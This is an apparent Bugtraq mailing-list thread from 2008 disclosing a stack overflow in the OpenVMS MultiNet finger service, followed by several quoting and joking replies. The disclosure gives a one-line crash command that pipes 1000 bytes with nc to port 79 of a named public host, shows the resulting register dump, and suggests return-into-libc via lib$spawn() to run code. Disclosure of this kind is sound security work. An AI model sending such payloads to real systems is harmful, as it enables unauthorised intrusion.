Onderwerp: OpenVMS fingerd remote stack overflow

sup bugtraq.

Since a group of lads are giving a talk on Hacking OpenVMS at defcon I figured I'd release a vulnerability in the OpenVMS finger service (part of the MultiNet package) to give people a few days to figure out an exploit beforethe methods are documented for us by the guys giving the talk. (assume they will be)

The MultiNet finger service runs on port 79 by default (like other finger servers) and takes a username to query. A long string (~250+ or so bytes) will cause
a stack overflow, giving control of a saved return address and hence the program counter (PC). Demonstrated below on a public OpenVMS system..
(hopefully the owners won't mind since they seem to encourage OpenVMS hack attempts on their systems)

-----------
shauny@localhost # echo `perl -e 'print "a"x1000'` | nc -v dahmer.vistech.net 79

?Sorry,
could not find
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
%SYSTEM-F-ACCVIO,
access violation, reason mask=00, virtual address=4141414141414140,
PC=4141414141414140, PS=0000001B%SYSTEM-F-ACCVIO, access violation,
reason mask=00, virtual address=4141414141414140, PC=4141414141414140,
PS=0000001B Improperly handled condition, image exit forced.
Improperly handled condition, image exit forced. Signal arguments:
Number = 0000000000000005

[SNIP]


000000000000001B 000000000000001B
Register dump: Register dump: R0 = 000000000000011A R1 =
00000000011A0001 R2 = 4141414141414141 R0 = 000000000000011A R1
= 00000000011A0001 R2 = 4141414141414141 R3 = 4141414141414141
R4 = 4141414141414141 R5 = 4141414141414141 R3 =
4141414141414141 R4 = 4141414141414141 R5 = 4141414141414141 R6
= 0000000000000002 R7 = 0000000000000001 R8 = 0000000000000000
R6 = 0000000000000002 R7 =

[SNIP]

etc..
-----------

For running arbitrary code...The main architectures running OpenVMS (Alpha, VAX) have Page Table Entries set such that the Fault-on-execute bit is set for
the user stack...i.e. equivalent to a non-executable stack on other modern operating systems.

However this doesn't stop a "return-into-libc" type attack...library functions can be returned into. One possible candidate is returning into the lib$spawn() library function.

Take it easy.


---
Shaun Colley
NGSSoftware

Take everything with a handful of salt
__________________________________________________ _______________
Get Hotmail on your mobile from Vodafone
http://clk.atdmt.com/UKM/go/107571435/direct/01/

On Thu, Aug 07, 2008 at 12:08:53AM +0100, Shaun Colley wrote:
> The MultiNet finger service runs on port 79 by default (like other finger
> servers) and takes a username to query. A long string (~250+ or so bytes)
> will cause a stack overflow, giving control of a saved return address and
> hence the program counter (PC).

Hahahaha, welcome to 1988!

Alex

Must stop the flash backs.... stripey where are you!
-KF

On Aug 6, 2008, at 7:08 PM, Shaun Colley wrote:

>
> sup bugtraq.
>
> Since a group of lads are giving a talk on Hacking OpenVMS at defcon
> I figured I'd release a vulnerability in the OpenVMS finger service
> (part of the MultiNet package) to give people a few days to figure
> out an exploit before the methods are documented for us by the guys
> giving the talk. (assume they will be)
>
> The MultiNet finger service runs on port 79 by default (like other
> finger servers) and takes a username to query. A long string (~250+
> or so bytes) will cause
> a stack overflow, giving control of a saved return address and hence
> the program counter (PC). Demonstrated below on a public OpenVMS
> system..
> (hopefully the owners won't mind since they seem to encourage
> OpenVMS hack attempts on their systems)
>
> -----------
> shauny@localhost # echo `perl -e 'print "a"x1000'` | nc -v
> dahmer.vistech.net 79
>
> ?Sorry,
> could not find
> "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
> %SYSTEM-F-ACCVIO,
> access violation, reason mask=00, virtual address=4141414141414140,
> PC=4141414141414140, PS=0000001B%SYSTEM-F-ACCVIO, access violation,
> reason mask=00, virtual address=4141414141414140, PC=4141414141414140,
> PS=0000001B Improperly handled condition, image exit forced.
> Improperly handled condition, image exit forced. Signal arguments:
> Number = 0000000000000005
>
> [SNIP]
>
>
> 000000000000001B 000000000000001B
> Register dump: Register dump: R0 = 000000000000011A R1 =
> 00000000011A0001 R2 = 4141414141414141 R0 = 000000000000011A R1
> = 00000000011A0001 R2 = 4141414141414141 R3 = 4141414141414141
> R4 = 4141414141414141 R5 = 4141414141414141 R3 =
> 4141414141414141 R4 = 4141414141414141 R5 = 4141414141414141 R6
> = 0000000000000002 R7 = 0000000000000001 R8 = 0000000000000000
> R6 = 0000000000000002 R7 =
>
> [SNIP]
>
> etc..
> -----------
>
> For running arbitrary code...The main architectures running OpenVMS
> (Alpha, VAX) have Page Table Entries set such that the Fault-on-
> execute bit is set for
> the user stack...i.e. equivalent to a non-executable stack on other
> modern operating systems.
>
> However this doesn't stop a "return-into-libc" type attack...library
> functions can be returned into. One possible candidate is returning
> into the lib$spawn() library function.
>
> Take it easy.
>
>
> ---
> Shaun Colley
> NGSSoftware
>
> Take everything with a handful of salt
> __________________________________________________ _______________
> Get Hotmail on your mobile from Vodafone
> http://clk.atdmt.com/UKM/go/107571435/direct/01/

On Thursday 07 August 2008, Shaun Colley wrote:
> echo `perl -e 'print "a"x1000'` | nc -v dahmer.vistech.net 79

well,

that might yield you a process runing under UIC [80,80], with the username
BLACKLA...? As that is the owner the process runs under.
Probably not an authorized user, but I cannot tell from the demo account.

Kind Regards,
Nico

> On Thu, Aug 07, 2008 at 12:08:53AM +0100, Shaun Colley wrote:
>> The MultiNet finger service runs on port 79 by default (like other finger
>> servers) and takes a username to query. A long string (~250+ or so bytes)
>> will cause a stack overflow, giving control of a saved return address and
>> hence the program counter (PC).
>
> Hahahaha, welcome to 1988!

Old software can be so much fun.

http://minnie.tuhs.org/pipermail/uni...ay/000126.html
http://minnie.tuhs.org/pipermail/uni...ay/000250.html

> Alex

Tim Newsham
http://www.thenewsh.com/~newsham/